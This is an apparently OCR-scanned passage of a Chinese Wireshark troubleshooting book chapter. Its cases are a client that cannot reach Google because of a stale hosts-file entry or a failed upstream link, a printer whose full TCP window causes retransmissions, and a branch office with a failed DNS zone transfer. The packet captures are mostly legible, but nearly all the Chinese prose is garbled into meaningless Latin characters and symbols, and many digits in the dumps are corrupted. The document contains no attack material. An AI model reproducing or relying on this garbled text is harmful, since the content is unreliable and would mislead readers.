| 7 3.999393 172.16.9.8 4.2.2.2 DNS 74 Standard query @x8@dl A www.google.com
! 8 7.999627 172.16.9.8 4.2.2.1 DNS 74 Standard query @x88d1 A www.google.com
L @ 9 7.999648 172.16.0.8 4.2.2.2 DNS 74 Standard query @x88dl A www.google.com

E10-16 AZ|:@{z4 R, £H4 DNS &£# 4151k

HETRTIE 2I M EER G, FATAT DG E Y M ORI 1. B, RATE
W= ARP BRI ARIE B 4 EIRATUNIBRINRIG, i HRAT AR08 W%
VARSI HLREIE R . JATTHAE 2 1T+ LI SE A W 4 EAR S i 1, B
PABRATT AT DABCBEA LR B BB A ). 288 43047 DNS 3R, )@t &
T

BN, DNS HERAEH Internet ERIAMBARSS & (4.2.22 504.22.1)
FRTRY . XA, BAEMTIRINEAT 18, 50RO G B S Internet [
HI& L AUR IR DNS Bl K BIR ST %, M0 LRSS A5 R L. 5, Bk
FA HTTP 1%k Web ULfil.

FRAVENE oAy FH P LA A 1), 3 15 B 0 45 % b @3 A AR DNS IR 55 4%
BVPAE [RGB S R BT AE o R0 M — AT BE 0 RDEDRIEE A B TS

B RERX G HETENE, RATKIE AR DHCP 7 ECHIMIE, T
e TARCE THIEE, I HEOAMOGHIE BCE R 1. HRCE B
AR — Gy, EARERK DNS ) 8n t A K 2 2% 2 4.

3. FEIMAR

FERXAME R, W H— G ECE AR e BRI ) R 24 i A
EEHEEW o X TR f 28 RIR B A BE AR A TR AE AT AP 7 Hr
AR ORI, HEERIX 4 fa] 5 p C B R AL 2 24 2 i Tl AR ] LA 1),
Kl B M I AR R TR AN 4 1 il 7L

EES BT RAOTAFIHE M EBGAM LK TP Hiht, At Wireshark ANfg
AERA LR ), (EE AT A R IRAT R B, T T E BN, 2R
PS5 ISP B & B 2 Ho At T BeHEBR #2 DNS R 55 8 IO BRI, T AN &
KA oG R thd%, B A RAV R LS R P BT EALA & . SEPr sl 17
L R )
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zE

10.3.2

Jo R KA A F A B E PL09 1P Hohb 5 Be oy 5, #h T VA M A7
R 2o REAZZFE] ARP 7 RMAZE 5 R XHKB BRR IP ik b,
Z\ Jo il P RLPT AR, P4 IR 2 R 2 X 1) S ag B B AR RS g,

z
SO BRI S, AR,

EXME R, BATXGER|— M ARAE TAES EMPH . /W, Mgz
FIASH P, Whn] BAG i) Internet, HJZ2AREVI A Google T, &R UMAR TS 7]
Google FIMuGT, R [m) 2] — AN B4 DU “Z0UEE R R 7. XA ) A
ALY AN

52 AT —F, &R — B FR g LA — A PR AR R G
AN X 265

1. Tk

P TR g, —iikH P A% Google E 01, 15 31 nowebaccess2.peap
A

2. bt

WK 10-17 Frax, $Rc s BL—A ARP &R AT R 4G . 7R 1
H, PSR MAC Hihib 2 00:25:b3:bf:91:ee, 1P HihlfE 172.16.0.8, & [ M

B ERIRTETFENLRE— ARP [ EEEE, WEERSENL 172.16.0.102 1
MAC Hihk. FATH BT A N ANk .

Mo. A Time Source Destination Protocol Length  Info
1 @.oeeeo0 00:25:b3:bf:91:ee ff:ff:ff:ff:ff:ff ARP 42 Who has 172.16.8.1027 Tell 172.16.0.8
2 @.000334 09:21:70:c@:55: @ B8B:25:b3:bf:91:ee ARP 6@ 172.16.9.102 is at @0:21:7@:c@:56:T@

10-17 3T M % k% — A5 4&-49 ARP & K A=vh i

R 2, P RHENL T 2] 1P sk 172.16.0.102 () MAC $hhik 2
00:21:70:c0:56:10. A4 2 HTBITETE,  FRATIAG WX 2 OG5 HH # f Hbdik,  Jd e ix
AN HiHE B AL AT DA RS R B4 DNS AR SS #%. SRi, i 10-18 FiaR,
TR IEA E DNS B3R, T2 M 172.16.0.8 F] 172.16.0.102 (1] TCP %
. BWET SYNArd, RFXEHE ENINE TCP EHHEF 1% —
MR .

F10E HEWIMIHAHR 215
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M Wireshark - Packet 3 - nowebaccess2 — m] X

> Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
> Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: Dell c@:56:T@ (00:21:70:c@:56:T0)
> Internet Protocol Version 4, Src: 172.16.8.8, Dst: 172.16.0.1620
v
Source Port: 1874
Destination Port: 30 @
[Stream index: @]
[TCP Segment Len: @]
Sequence number: @ (relative sequence number)
Acknowledgment number: @
Header Length: 32 bytes
> ag 3
Window size value: 8192
[Calculated window size: 8192]
> Checksum: @x58b5 [validation disabled]
Urgent pointer: @
> Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (..

No.: 3 - Time: 0.000349 - Source: 172.16.0.8 - Destination: 172.16.0.102 - Pro...gth: 66 * Info: 1074 — 80 [SYN] Seq=0 Win=8192 Len=0 M55=1450 WS=4 SACK_PE

& 10-18 M—4& AR EMLIEH —E M W EHH TCP SYN £04E &

AR, REERER] 172.16.0.1020 (1 80 i 111 @ (¢ TCP &35 % 5 HTTP i
BA%, WA 10-19 i, 4EHL172.16.0.102 K& FIH A RST M1 ACK 5 £ 0
) TCP ¥ (HdRa 4) I, ERaE Rtk 1.

M Wireshark - Packet 4 - nowebaccess2 - [m} X
> Frame 4: 6@ bytes on wire (480 bits), 6@ bytes captured (48@ bits)
> Ethernet II, Src: Dell c@:56:f@ (80:21:70:c@:56:18), Dst: HewlettP_bf:91:ee (@@:25:b3:bf:91:ee)
> Internet Protocol Version 4, Src: 172.16.0.102, Dst: 172.16.0.8
v

Transmission Control Protocol, Src Port: 8@ (8@), Dst Port: 1874 (1074), Seq: 1, Ack: 1, Len: @
Source Port: 8@
Destination Port: 1874
[Stream index: @]
[TCP Segment Len: @]
Sequence number: 1 (relative sequence number)
Acknowledgment number: 1 (relative ack number)
Header Length: 2@ bytes
> Flags: @x@14 (RST, ACK) @
Window size value: @
[Calculated window size: @]
[Window size scaling factor: -1 (unknown)]
» Checksum: @xc9aa [validation disabled]
Urgent pointer: @
> [SEQ/ACK analysis]

No.: 4 - Time: 0.000510 - Source: 172.16.0.102 - Destination: 172.16.0.8 - Protocol: TCP - Length: 60 - Info: 80 — 1074 [RST, ACK] Seq=1 Ack=1 Win=0 len=0'

10-19 #f & TCP SYN 4 TCP RST #3E &,

6 mAAELL, WA RST b FIEHE A2 RS R TCP EH . fEX M)
S, FHL172.16.0.8 =i 5 FEHL 172.16.0.102 [¥] 80 it 1757, TCP %4, A3

216 Wireshark HiEBSH#rSEL (58 3 FRD
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W2, BTG EHLAA BCE LIRS TE 80 i A MW IR, BRIt H BBk 1% TCP
RST HiE WA sig k. XA ER 7THK. WK 10-20 Fox, {ElfE R4
SORAET, P ENUKIE T —A SYN Hdls R332 RST RN .

No.  Time Source Destination Protocol  Length Info
1 6.800000 HewlettP_bf:91:ee  Broadcast ARP 42 Who has 172.16.0.1622 Tell 172.16.8.8
2 0.000334  Dell c@:56:T0 HewlettP_bf:ol:ee  ARP 60 172.16.0.102 is at 60:21:70:c0:56:f8
66 1674 > 88 [SYN] Seq=6 3 WS=4 SACK_PERM=1
66 80 + 1874 [RST, ACK]

10-20 TCP SYN #= RST ##E & —% BN T 3 %

e, PR EER T “URTIEER .

ERE HA TR IEE MRS EES)G, BEM 1812 hi) ARP iF
SR N 5 1S T IRATEE . N ARP fRIFARZTE A N CEE 28 A ES2 MAC
bk, TR AR S, E ARP ERMN 2 J5, FRATEE A DNS ARk
S EeiE R, LLEF] Google 1Y IP Huhilk, HEAFKAET]. [Hi: DNS &
PR o

o RIEERIHAATE DNS 2247 B4 14 —1P bk 196 87 i
o RILIESLI &AL hosts U EL& A 44 —1P Huhik il X B 30

PR EXEHEIE, BATKIVER hosts XA —4> Google # i, X}
No—AN AR TP Hidik 172.16.0.1020 3% AN 15 28 Tt 2 F 7 o) J A AR V5L

THEALIE H HBAE hosts SCAE 2A1E 44 —IP Hudik Bl ot i) T 5 sk, 7 HafE &
AN RIRZ AT R e . XA ET, P ENG A S K hosts XX, KL
H—~ Google MR, HIAA Google fEIXNARMMEL . B, BN EM
K% ARP ER, FFAEBEIMN, AR5E2RA 172.16.0.102 1 80 ¥ I & TCP i#
B, BRI, HTIZRGIH AN E R Web RS 5%, S AT fe sz ix AN id
K.

BEIXA hosts SCAFRIRTIFLER 5, F P AIFENUELRE IE R U5 7 Google T o

AE J& Windows %%t E& A hosts A, 54T C:\Windows\System32\drivers\hosts.
& Linux M & & & /etc/hosts.

SKhr b, XA FARE R . R LR X AN, BRI

F10E HuWHMSHAFZR 217
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HE 18 B CE RAE A R o AR, IR B R AB T IR hosts SO, BRRAR
oM EARAT, SERR BV AR — AN g R, TR A, X
EZEEZSLITN

3. FEEITIR

GREE BT, RS TR PSR DRI (] AR DAL AT BB E AT £
AR, EHLBCA AKX DNS R By P im g iR icE 1, mAZRA
FoAth Hh R BR 1 B AM R R B

FERE R T BB EXAS A, FRATAT DURE AR IR KN TP M, thagd
L DNS IXAMEE AR A R 1o IBIXEE S, JATAT PR &
J7 i 74 I L R o

10.3.3

5N st—fE, XAt A P AE I TE ek B
Jak, MR TCIEVI M Google XMW . HE— P& 2 5, FATKIIXA
e S 1) LS B — AN A——UEH G V5 1H) Google.

XA P25 L B AT AT AN 73— 8, TR 72 FH — LS 1] B e L AT — AN % el
PR 482 3 Internet.

L. AT

NT RPEEA W, RATE S5V Google PAUE i f . X & — A4/
B —— B RE TR TR, 10 H AT RS R B GR E BAE F B —— AT A
RANN 1% EAEAEAR I8 EIR . M ARTE TS a8 21 B A 1 1) RN, P9 265
YA E R BT IR R T %, TRUNE Fo VRURTE 5 8 rh BT IR 55 5 58 4 i sl H 3R B
T I WL oA A5 B B 4 AR A7/ nowebaccess3.pcap SCAFH .

2. obr

XA HAE A IR L DNS WAL, MARRINZ AR ARP iE.
DRUAA S0 58 — N EOIR AL R AT — Mtk JF ARG 2 a8k | A8 bk
(M., BT LLERATTAT DA% ARP i FE CL 258 T, I HIW S 1 88 ) MAC-IP
bk B O AFE T ENLR ARP 47 .

W 10-21 fis, 3R R — MR M ENL 172.16.0.8 KN 42210,
FHERA— DNS 06 . AFZHFHOMNANE, BRITRILIXZE A&
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Google 1] A LR IERO,

M Wireshark - Packet 1. nowebaccess3 - [m} X

> Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
> Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: CiscoInc_31:07:33 (@0:26:0b:31:07:33)
> Internet Protocol Version 4, Src: 172.16.0.8, Dst: 4.2.2.19
> User Datagram Protocol, Src Port: 64417 (64417), Dst Port: 53 (53)
v Domain Name System (query)@
Response In: 2
Transaction ID: @x6138
Flags: 8x@1@@ Standard query
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
v Queries @
v www.google.com: type A, class IN
Name: www.google.com
[Name Length: 14]
[Label Count: 3]
Type: A (Host Address) (1)
Class: IN (@xeeel)

v

No.: 1 - Time: 0.000000 - Source: 172.16.0.8 - Destination: 4.2.2.1 * Protocol: DNS - Length: 74 - Info: Standard query Ox6138 A www.google.com

10-21 %14 Google #9 A L%
Wk 10-22 Fizs, SRE 4.2.2.1 RN RSSO ZE 2 ML, &5 Packet

Details [iB, FATABLR RN IR RS a2t T 2 RIEO. A
RIS — VI IR .

M Wireshark - Packet 2 - nowebaccess3 - [m] X

> Frame 2: 190 bytes on wire (1520 bits), 19@ bytes captured (1520 bits)
> Ethernet II, Src: CiscoInc_31:87:33 (@0:26:0b:31:07:33), Dst: HewlettP_bf:91:ee (00:25:b3:bf:91:ee)
> Internet Protocol Version 4, Src: 4.2.2.1, Dst: 172.16.9.8
> User Datagram Protocol, Src Port: 53 (53), Dst Port: 64417 (64417)
Vv Domain Name System (response)
Request In: 1
[Time: ©.010440000 seconds]
Transaction ID: @x6138
> Flags: @x818@ Standard query response, No error
Questions: 1
Answer RRs: 7
Authority RRs: @
Additional RRs: @
> Queries
v Answers @
> www.google.com: type CNAME, class IN, cname www.l.google.com
> www.l.google.com: type A, class IN, addr 74.125.95.1@5
> www.l.google.com: type A, class IN, addr 74.125.95.106
> www.l.google.com: type A, class IN, addr 74.125.95.147
> www.l.google.com: type A, class IN, addr 74.125.95.99
> www.l.google.com: type A,
> www.l.google.com: type A,

class IN, addr 74.125.95.183
class IN, addr 74.125.95.104

No.: 2 - Time: 0.010440 - Source: 4.2.2.1 - Destination: 172.16.0.8 - Protocol: DNS ._5.105 A 74.125.95.106 A 74.125.95.147 A 74.125.95.99 A 74.125.95.103 A 74.125.95.1

10-22 @4 %/~ A it.5 49 DNS 4 &

F£10E HupmsctFRigs 219
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AR P L4321 Web ARSS 2% 1 TP Hutik, & 7] DLR5 AR 55 4% i
fE7 . WK 10-23 o, EEEEMEIEE 3 i, X2&—M 172.16.0.8 K1t
74.125.95.105 ) TCP i@ . X4~ Hprthhl >k B £ €L 2 & DNS 25 iy i i
PEHLIIEE 1A A ddsk. TCP HIEARE T SYN hr&@®, ISl fimfE ks
PRH 80 i 1O,

M Wireshark - Packet 3 - nowebaccess3 - [m] X

Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
» Ethernet II, Src: HewlettP bf:91:ee (@@:25:b3:bf:91:ee), Dst: CiscoInc_31:87:33 (00:26:0b:31:07:33)
> Internet Protocol Version 4, Src: 172.16.0.8, Dst: 74.125.95‘1650
¥ Transmission Control Protocol, Src Port: 1251 (1251), Dst Port: 8@ (8@), Seq: @, Len: @
Source Port: 1251
Destination Port: 8@ g
[Stream index: @]
[TCP Segment Len: @]
Sequence number: @ (relative sequence number)
Acknowledgment number: @
Header Length: 32 bytes
. Flags: exee2 (SYN) ©
Window size value: 8192
[Calculated window size: 8192]
> Checksum: @x@afc [validation disabled]
Urgent pointer: @
> Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted

No.: 3 - Time: 0.014421 - Source: 172.16.0.8 - Destination: 74.125.95.105 - Protocol: TCP - Length: 66 - Info: 1251 — 80 [SYN] Seq=0 Win=8192 Len=0 M55=1460 WS=4 SACK_PERM=1

10-23 &K% 80 5% 1 69 SYN #3E &

FIRIXE— TCP B F1dHE, FrLAFRA TAE R Z AN B H 7 2] TCP SYN/ACK
Bat, ERAENE—SILRIET A— SYN B s Hir. XA MEE
Is JAERORAE, K 10-24 fiw, BXBIEEEIE T, JE2HRE AR5, .

No. Time Source Destination Protocol  Length Info

10-24 TCP SYN #3E 62X T 3 KARKA I E| o i

X, FRATAEE] T A8 h ] 4N DNS AR 5524228 2 ifgis sk, R i
(1 TAE AT LLEEE 24 . DNS RS- 28 B T — L e kA 2 bk, SRJ53%
IR ENLE R — bk R i H, BRATZEGERR A TAER
BRRINAEIEH

v L 2 T2 R IR 55 4 YA W B FRATT PR 3K, 3% TCP RST i (. #8% &od
Ko AIREMIIRINA JLAE: Web MRS S EHIR . Web ARS8 M SO B i 3zt
FERIZEH08 T B A e % A H R 4 AT Bt it e e 4, IRA AT

LRy k. ——REHTE
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FIRERIME R T IE AR 2% b, TOE T BRATHR T . AR AN S,
Web [R5 88 AN AEIEH TAE, FAVMHTH XM ARIKT . — H. Google 1B k',
HAEE AT AZREL T

3. FEITR

A SR R AR EATRBEER . RATH 2 HrRY], FEAE T RA
2% ERERL BEhas, WAE T RO NI AT DNS ARk 55 45% . 1
TEFRATTI W0 25 15 Jt 2 A1 o

A7 I A LI AN S FRATT D I AN BE G2 Ak I 70, BB AE A 2 SRl ] I 456
FIgH . REMZIBER. W& WM ARITEAE, MNHEEAZEC
AariE g, EiRCeEm R, FEaf AU,

10.4  FTHIBLECpE

104.1

10.4.2

FATHIBR SR E B G 2] T — AN FTEIHLR R B B A0 T A P 4 75 1
RACERITENPLE R 7o P RE R EATH RS B, ERITHILITA
JafE I TAR. AbATEh 7R 2 Rah B Bk i, (HRAEMECR . BORSHF 5
TATIA BRI X AN R 45 ) i

BOERIHTT o BARIRATARELEST ENHL %2 3% Wireshark, HMZ EATH] 7=
RS, BT DAFRATT AT DA i VAR T g . FRAT TR ST BILZE 2 1) i 1 B4R 3
— AL, SRIEH — SB35 Wireshark 128104 FUIGE R B Z 0 1 o 22558 %
J&, BATE— O P RIE KRBT IR ES FTEHL, ToRATT 2 WA S 1y s 9 2%
5 J5 13 B FRIE K S inconsistent_printer.peap.

W 10-25 Fras, 3R SO TSk 2 A FT BRI ENL (172.16.0.8) 5
FTEOML (172.16.0.253) B TCP #EF. EF )G, —MRK/INA 1460 F 151 TCP
IR R IE BT EINL@ o 85 K/ NEERT LLTE Packet List T AR Info 14714 3,
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7] ATE Packet Details [HI#R # TCP k5 B KA 2.

M Wireshark . Packet 4 - inconsistent_printer - m] X

> Frame 4: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits)
> Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: HewlettP_77:bd:ba (@0:23:7d:77:bd:ba)
> Internet Protocol Version 4, Src: 172.16.0.8, Dst: 172.16.8.253
V¥ Transmission Control Protocol, Src Port: 3527 (3527), Dst Port: 9188 (9188), Seq: 1, Ack: 1, Len: 1460
Source Port: 3527
Destination Port: 9160
[Stream index: @]
[TCP Segment Len: 146@8]

Sequence number: 1 (relative sequence number)
[Next sequence number: 1461 (relative sequence number)]
Acknowledgment number: 1 (relative ack number)

Header Length: 2@ bytes
Flags: @x@81@ (ACK)
Window size value: 16425
[Calculated window size: 657@@]
[Window size scaling factor: 4]
Checksum: @x5ef4 [validation disabled]
Urgent pointer: @
> [SEQ/ACK analysis]

v Data (1460 bytes) @

Data: 1b252d31323334355840504a4c20534554205245543d4f4e. ..

[Length: 146@]

v

v

No.: 4 - Time: 0.001637 - Source: 172.16.0.8 - Destination: 172.16.0.253 - Protocol: TCP - Length: 1514 - Info: 3527 — 9100 [ACK] Seq=1 Ack=1 Win=65700 Len=1450

oo

10-25 i8if TCP 44412 4T Fp AL el #4%

BEE 4 G2 S — NS 1460 FHHEIEEO, WK 10-26 s, X4
AR FTEINL@®HIIN T o

No. Time Source Destination Protocol  Length Info

3 0.000201 172.16.0.8 172.16.0.253 TCP 54 3527 » 9100 [ACK] Seq=1 Ack=1 Win=65700 Len=0
4 0.001637 172.16.0.8 172.16.0.253 TCP 1514 3527 » 9100 [ACK] Seq=1 Ack=1 Win=65700 Len=1460
5 0.001646 172.16.0.8 172.16.0.253 TCP 1514 3527 » 910@ [ACK] Seq=1461 Ack=1 Win=6570@ Len=1460 o

9 6 0.005493 172.16.0.253 172.16.0.8 TCP 160 9100 - 3527 [PSH, ACK] Seq=1 Ack=2921 Win=7888 Len=106
7 ©.0085561 172.16.0.8 172.16.0.253 TCP 1514 3527 » 910@ [ACK] Seq=2921 Ack=107 Win=65592 Len=146@
8 0.085571 172.16.0.8 172.16.0.253 TCP 1514 3527 » 910@ [ACK] Seq=4381 Ack=107 Win=65592 Len=146@
9 ©.8085578 172.16.0.8 172.16.0.253 TCP 1514 3527 » 918@ [ACK] Seq=5841 Ack=107 Win=65592 Len=146@
10 ©.00e5585 172.16.0.8 172.16.0.253 TCP 1514 3527 » 9100 [ACK] Seq=73@1 Ack=107 Win=65592 Len=1460
11 ©.833569 172.16.0.253 172.16.0.8 TCP 60 9100 » 3527 [ACK] Seq=187 Ack=8761 Win=6144 Len=0
12 ©.833626 172.16.0.8 172.16.0.253 TCP 1514 3527 » 9180 [ACK] Seq=8761 Ack=107 Win=65592 Len=1460
13 @.033640 172.16.0.8 172.16.0.253 TCP 1514 3527 » 9100 [ACK] Seq=10221 Ack=167 Win=65592 Len=146@
14 ©.033649 172.16.0.8 172.16.0.253 TCP 1514 3527 » 9100 [ACK] Seq=11681 Ack=187 Win=65592 Len=146@
15 0.833658 172.16.8.8 172.16.0.253 TCP 1514 3527 » 918@ [ACK] Seq=13141 Ack=187 Win=65592 Len=1460
16 0.098314 172.16.0.253 172.16.0.8 TCP 60 9100 » 3527 [ACK] Seq=187 Ack=14601 Win=4408 Len=0

& 10-26 1EF a9 5IRA4A TCP #A

TERPSC R E R N EE R 20, BdEm —EHIER . BdEe 121 2—
TCP EAAHIRA, HEAMIERE —MrE, Wi 1027 fis.

YN RIE TCP B S m e s %, M fE & & WA il b i L
i, stAIE—A TCP EAARGEE . — HBAFE LR, KiER &I ETFE %%
BAWEEHE, WSz AR, Al EEIEZ R, XMREELE T2,
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M Wireshark . Packet 121 - inconsistent_printer - [m] X

> Frame 121: 1146 bytes on wire (9168 bits), 1146 bytes captured (9168 bits)
» Ethernet II, Src: HewlettP_bf:91:ee (@@:25:b3:bf:91:ee), Dst: HewlettP_77:bd:ba (00:23:7d:77:bd:ba)
> Internet Protocol Version 4, Src: 172.16.0.8, Dst: 172.16.0.253
v Transmission Control Protocol, Src Port: 3527 (3527), Dst Port: 9100 (9100), Seq: 118261, Ack: 107, Len: 1092
Source Port: 3527
Destination Port: 9100
[Stream index: @]
[TCP Segment Len: 1092]
Sequence number: 118261 (relative sequence number)
[Next sequence number: 119353 (relative sequence number)]
Acknowledgment number: 187 (relative ack number)
Header Length: 20 bytes
» Flags: @x81@ (ACK)
Window size value: 16398
[Calculated window size: 65592]
[Window size scaling factor: 4]
> Checksum: @x5d84 [validation disabled]
Urgent pointer: @
[SEQ/ACK analysis] @
[iRTT: @.000201000 seconds]
[Bytes in flight: 1092]
Vv [TCP Analysis Flags]
> [Expert Info (Note/Sequence): This frame is a (suspected) retransmission]
[The RTO for this segment was: 5.502585000 seconds]e
[RTO based on delta from frame: 120] @)
> [Expert Info (Warn/Sequence): TCP window specified by the receiver is now completely full]
Retransmitted TCP segment data (1892 bytes)

<

No.: 121 - Time: 20.619620 - Source: 172.16.0.8 - Destination: 172.16.0.253 * Protocol: TCP ._CP Window Full] [TCP Retransmission] 3527 — 9100 [ACK] Seq=118261 Ack=107 Win=65592 Len:

10-27 X TCP 4R AL X F4)—MrdE

XA, BT BN A BME S i EaE, oA P TARBG A A 4T
EIMLAE EAEHR B, an @ TCP ki) SEQ/ACK analysis #7r LL I T 7]
BAMEE, WE 10-27 Fia@, JREA NG E 24X 2 E AL iRYE
Wireshark I THI4HT, FEE 121 2R 120 MEEO. FHoh, SEAEEERE
[ AL (RTO) 7E 5.5s @45,

453 B 5 B 1A R N TRD B, R AT DS et ) s i QL& MRS e 1 T . 1E
EAZEGIH, FATEE —F T8RO KX 2 AR RE T EfE, TR
View->Time Display Format J-4 i, Seconds Since Previous Captured Packet X
WO AR5, il 10-28 Fian, R0 LIS A RATGEHE G (R 1200 K
£ 5.5s Ja kA THIRR 121 WEAO,

No.

Protocol  Length Info
1146 [TCP Wi

Source

1146 [TCP Window F

10-28 & A& #3119 1G0T 18 A ) F A ok 5] 2

T MR 120 1R — AN EAE . XANEERAR RTO 2 11.10s,
AFE F— MR AL 5.5 RTO. Packet List MHiHK #) Time #1155 J§3A11, 7 E—&
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10.4.3

10.5

HAk 5.6s Ja kA TIRKEM . X BARRHOCT T e — M EERR, TIEH
&, FTEIHURMEAE X AN R T T
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PEul e ST ENHLE R R BATTR] LA WA 1L H il 1 AR = K i e], SR 7E
B—mZ, FTEDPUE (e B TAESS 7 TAESER TR e, ik
Hit —MNE, (HSTEDHLALR B WA R . XA il AT PAFE oA T AR b B s,
It ASRAT A5 BT ENALA 2 1 ) R o

B br)E, WATEBETENPLE N AF iR 1o 2 R EAT B A IE 2
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AT FAR, XHERAA TCP fiiE. F#4f, XMW e R&FILEER, TCP 4
BATET TAHAREER.

FERXAZBIF, HEfEEIME IR, BATEE TCP WE M EALDIRESR I 1 i
RRHIFVIALE . RS 21 NI HI RS, AT 2 W AR T 3K R 0 D) BE R AR
SR 1) ) L

vl 2N

XN, —RKARERBZAINTHR T ILE o, BiLisE—6
Windows 385 il 83 R 55 23 Al — & 2 Iz 6l 25, AR RIATE 1T Bt JL-T-#0 i E
FE BRI s ] 9% 47 57 AT DNS F14 A 5 AR IS K

W g2 — MCH DNS IR% 4%, ROk H BE 1 L DNS AR 251
FIRIL R B o

24358 25 A BA K T it 2B AR B 4 s JT I, R ILEEA N BE VT IA] Y 2% L) N 5
Web N RS 2% . IXEEAR S AT B IMAE, @id) M (Wide Area Network,
WAN) Vil A2 AR AR P, HRBTXENESRS 4. g
F PR AT BLT 1) Internet PA A 328 5 P9 G HoAth B2

10-29 IR TERX N B ER AL, B T 208
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10.5.1

10.5.2

A FMEDNS IR 525 BEBEDNSAR B35

=4

T fFuk SEBRL A AR 55 2%
172.16.16.101 172.16.16.200

D RFIEEHE EERREERRS

172.16.16.251 172.16.16.250

10-29 48] Z [ 9] 4 o9 48 & L4

FH T ) R AE SRR 43 24 )R] RIS R rh, DR ERATT AT DAAE 2 b i
R R ERER 1) R, 0] AT B HAE 73 A W) I8 o b, B DARATIASE FH s 1 45
e EgE b — e EAELR FER T a8dha. fEEEMERE,
ITAT DAASE FH e I A S B B i DS Bl fie e 1 . AN — AN B g 1
WILEE R B R A1 stranded_clientside.pcap LA o

WK 10-30 s, SMTTAFRS 172.16.16.101 2287 181368 75 S50 B AR 55 2
172.16.16.200 BN HFEFES, P24 TSR 1 MR XK RA
PINEEEE. 5 1 MEIR AR RES] 172.16.16.251 @ DNS iF K, 28 IR
KON AILTE® ., X EE 172.16.16.200 JIR 55 2% DNS 244 .

Wi 10-31 s, X A0S G R B2 Ik 45 4 i @, R B DNS 2 i 4 fH
BT . RO RA R — MR RS EED, HEAEmNENS RO,

PUAEFRAT TN TE 120815 W% 5 DNS A 56, BIDN43 22 w] () DNS 2 B DNS fiik
F5a% 172.16.16.251 fifghr, FATHIAE T —uk.

T MG A FI) DNS IR SR Gad i i, FRAT LRSS B 7E )i, H
U G B AR BB . A R 5% 2% IOV B A B AR B FRA T AR A 1o kA R
1E stranded_branchdns.pcap
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‘ Wireshark - Packet 1. stranded_clientside

> Frame 1: 69 bytes on wire (552 bits), 69 bytes captured (552 bits)
> Ethernet II, Src: IntelCor 5b:7d:4a (@@:21:6a:5b:7d:4a), Dst: IntelCor 5b:7d:4a (@@:21:6a:5b:7d:4a)
> Internet Protocol Version 4, Src: 172.16.16.101, Dst: 1?2.16.16.251‘)
> User Datagram Protocol, Src Port: 56779 (56779), Dst Port: 53 (53)
v Domain Name System (query)
Response In: 2
Transaction ID: @x@ea3
> Flags: @x@1e@ Standard query
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
¥ Queries
Vv appserver: type A, class IN
Name: appserver @
[Name Length: 9]
[Label Count: 1]
Type: A (Host Address) (1)@
Class: IN (@x@001)

No.: 1 - Time: 0.000000 - Source: 172.16.16.101 - Destination: 172.16.16.251 - Protocol: DNS - Length: 69 - Info: Standard query 0003 A appserver

10-30 BAEMAE A RS A 0K DNS R 44

M Wireshark - Packet 2 - stranded_clientside

> Frame 2: 69 bytes on wire (552 bits), 69 bytes captured (552 bits)
> Ethernet II, Src: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a), Dst: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a)
> Internet Protocol Version 4, Src: 172.16.16.251, Dst: 172.16.16.101
> User Datagram Protocol, Src Port: 53 (53), Dst Port: 56779 (56779)
v Domain Name System (response)
Request In: 1
[Time: ©.20034600@ seconds]
Transaction ID: @x@ee3
Flags: @x8182 Standard query response, Server failure @
Questions: 1
Answer RRs: @ @
Authority RRs: @
Additional RRs: @
V¥ Queries
Vv appserver: type A, class IN
Name: appserver
[Name Length: 9]
[Label Count: 1]
Type: A (Host Address) (1)
Class: IN (@xeeel)

v

No.: 2 * Time: 0.000346 - Source: 172.16.16.251 + Destination: 172.16.16.101 * Protocol: DN - Length: 69 - Infor Standsard query response Ox0003 Server failure A appserver

& 10-31 &34k oL & AR IX 2 i e 194

W 10-32 frw, XAMEIRIH LR RA T AT E B AR &, (HisE —
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M Wireshark - Packet 3 . stranded_branchdns — [m] X

> Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

> Ethernet II, Src: Vmware_39:42:70 (@0:0c:29:39:42:70), Dst: Vmware_3d:10:f5 (@0:0c:29:3d:10:f5)

> Internet Protocol Version 4, Src: 172.16.16.251, Dst: 172.16.16.2560
Transmission Control Protocol, Src Por 9160 (4916 Dst Port: 53 (53

smission Control Protocol
Source Port: 4916@

Destination Port: 53 @

[Stream index: @]

[TCP Segment Len: @]

Sequence number: @ (relative sequence number)
Acknowledgment number: @

Header Length: 32 bytes

Window size value: 8192

[Calculated window size: 8192]

Checksum: @xbc3@ [validation disabled]

Urgent pointer: @

> Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted

No.: 3 - Time: 0.000120 - Source: 172.16.16.251 - Destination: 172.16.16.250  Protocol: TCP « Length: 66 * Info: 49160 — 53 [SYN] Seq=0 Win=8192 Len=0 M55=1460 WS=256 SACK PERM=1

10-32 XA SYN #3EEEHA T 5335502, {242 UDP
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10.5.3
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B RIR” KA, BRI EE . RBIZR, SN, EREREE
ekt

RN, BAT I R%EE 7 EE (TIFuD, RJEHKE T DNS
A A XA R o XA ERR R IATH 27> 32 DNS e d5 %%, SR8Ja L E L DNS
M55 a%, BEARDIH M, WEuE BRI,

TR TS, H M EIR R IR . ZRRA AT URIRifER “JRIL 7,
EEH EATR AR IR R L R

10.6 SRS

FEIT F¢, JTPREMAGE B RAH F00 . TP R SRR P i 44 T H
FERI P B BB o AR G0 HE O3 UM ) 3 0 48 B DR AT I 2% G 18 A A4 T A
IR

XA, BRI R T — AT, T ERERZ AN 8 & 5
s RO EE . T A IR TAER TR (A 58, BB s v e S
T MRASEHREEE 2R —R5, AW ELUESrBRE (comma-separated
value, CSV) MBI R, il OEERES .

BRI, IXASEIE R B AR TAR S AR IEH o RS ae i) 1784
JEAR B SO, AESE AN EE E B R R . — X E R T, A1
